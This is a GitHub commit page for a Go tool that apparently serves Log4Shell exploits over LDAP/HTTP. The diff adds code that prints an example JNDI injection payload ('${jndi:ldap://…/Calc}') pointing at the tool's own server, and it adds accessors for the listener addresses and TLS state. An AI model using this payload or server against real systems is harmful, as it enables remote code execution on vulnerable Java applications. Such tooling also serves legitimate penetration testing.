Skip to content

Commit c49c131

Browse files
committed
main.go: print one example for obfuscate string easily.
1 parent 4d215e1 commit c49c131

File tree

2 files changed

+30
-0
lines changed

2 files changed

+30
-0
lines changed

cmd/main.go

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@ import (
55
"flag"
66
"fmt"
77
"log"
8+
"net"
89
"os"
910
"os/signal"
1011

@@ -83,6 +84,20 @@ func main() {
8384
// start log4shell server
8485
server, err := log4shell.New(&config)
8586
checkError(err)
87+
88+
// print one example for obfuscate string easily
89+
var ldap string
90+
if server.IsEnableTLS() {
91+
ldap = "ldaps"
92+
} else {
93+
ldap = "ldap"
94+
}
95+
_, port, err := net.SplitHostPort(server.LDAPAddress())
96+
checkError(err)
97+
address := net.JoinHostPort(config.Hostname, port)
98+
example := fmt.Sprintf("${jndi:%s://%s/Calc}", ldap, address)
99+
fmt.Printf("example: %s\n\n", example)
100+
86101
err = server.Start()
87102
checkError(err)
88103

log4shell.go

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -264,3 +264,18 @@ func (srv *Server) Stop() error {
264264
func (srv *Server) Secret() string {
265265
return srv.secret
266266
}
267+
268+
// IsEnableTLS is used to get the log4shell server is enabled TLS.
269+
func (srv *Server) IsEnableTLS() bool {
270+
return srv.enableTLS
271+
}
272+
273+
// HTTPAddress is used to get the http listener address.
274+
func (srv *Server) HTTPAddress() string {
275+
return srv.httpListener.Addr().String()
276+
}
277+
278+
// LDAPAddress is used to get the ldap listener address.
279+
func (srv *Server) LDAPAddress() string {
280+
return srv.ldapListener.Addr().String()
281+
}

0 commit comments

Comments
 (0)